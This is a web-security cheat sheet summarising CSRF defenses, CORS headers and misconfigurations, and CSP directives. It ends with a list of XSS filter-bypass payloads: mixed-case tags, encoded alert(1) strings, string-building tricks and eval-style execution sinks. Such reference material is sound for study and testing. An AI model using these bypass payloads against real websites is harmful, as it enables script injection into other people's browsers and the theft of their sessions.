



ADVANCED XSS AND CSRF EXPLOITATION CHEAT SHEET

Common CSRF Defenses

CSRF Tokens

- unpredictable random value
- submitted in HTML form
- needs to be bound to user session

HTTP Headers

- Origin header
- Referer header

SameSite Cookie Attribute

- **none**: cookie sent with all cross-origin requests
- **lax**: cookie sent with some cross-origin requests (e.g. GET form submissions, but no requests made from JavaScript). **This is the default in modern browsers if the attribute is not explicitly set**
- **strict**: cookie sent with no cross-origin requests

Cross-Origin Resource Sharing (CORS)

CORS Headers

- **Access-Control-Allow-Origin**: define Same-Origin policy exceptions for a specific origin
- **Access-Control-Expose-Headers**: define Same-Origin policy exceptions for specific HTTP headers
- **Access-Control-Allow-Methods**: define Same-Origin policy exceptions for allowed HTTP methods in response to a preflight request

- **Access-Control-Allow-Headers**: define Same-Origin policy exceptions for allowed HTTP headers in response to a preflight request
- **Access-Control-Allow-Credentials**: if set to **true**, define Same-Origin policy exceptions even if the cross-origin request contains credentials, i.e., cookies or an **Authorization** header
- **Access-Control-Max-Age**: define for how long the information in the other CORS-headers can be cached without issuing a new preflight request
- **Access-Control-Request-Method**: inform the server about the HTTP method used in the actual request
- **Access-Control-Request-Headers**: inform the server about the HTTP headers used in the actual request

Simple Requests vs Preflighted Requests

Simple Requests:

- GET or HEAD requests without any custom HTTP headers
- POST requests without any custom HTTP headers and a **Content-Type** of **application/x-www-form-urlencoded**, **multipart/form-data**, or **text/plain**

Preflighted Requests:

- All other requests
- A **preflight request** is sent before the actual request
- Web application needs to respond to the preflight request with appropriate CORS headers to signal to the browser that the actual cross-origin request is allowed

CORS Misconfigurations

- Arbitrary Origin Reflection in **Access-Control-Allow-Origin** header
- Improper Origin Whitelist in **Access-Control-Allow-Origin** header
- Trusted Null Origin in **Access-Control-Allow-Origin** header

Content-Security Policy (CSP)

Common CSP Directives

- **script-src**: allowed origins for scripts
- **style-src**: allowed origins for stylesheets
- **img-src**: allowed origins for images
- **object-src**: allowed origins for objects such as **<object>** or **<embed>**
- **connect-src**: allowed origins for HTTP requests from scripts. For instance using **XMLHttpRequest**
- **default-src**: fallback value if a different directive is not explicitly set. For instance, if the **img-src** is not present in the CSP, the browser will use this value instead for images
- **frame-ancestors**: origins allowed to frame the page, for instance in an **<iframe>**. This can be used to prevent **Clickjacking** attacks
- **form-action**: origins allowed for form submissions

XSS Filter Bypasses

Weak Blacklists

- Casing: `<ScRiPt>alert(1);</ScRiPt>`
- Casing: `<object data="JaVaScRiPt:alert(1)">`
- Casing: `<img src=x OnErRoR=alert(1)>`
- No Space: `<svg/onload=alert(1)>`

JavaScript Encodings

- Unicode: `"\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029"`
- Octal: `"\141\154\145\162\164\50\61\51"`
- Hex: `"\x61\x6c\x65\x72\x74\x28\x31\x29"`
- Base64: `atob("YWxlcnQoMSk=")`

String Creation

- fromCharCode: `String.fromCharCode(97,108,101,114,116,40,49,41)`
- source: `/alert(1)/.source`
- URL Encoding: `decodeURI(/alert(%22xss%22)/.source)`

Execution Sinks:

- eval: `eval("alert(1)")`
- setTimeout: `setTimeout("alert(1)")`
- setInterval: `setInterval("alert(1)")`
- Function: `Function("alert(1)")()`
- constructor: `[].constructor.constructor(alert(1))()`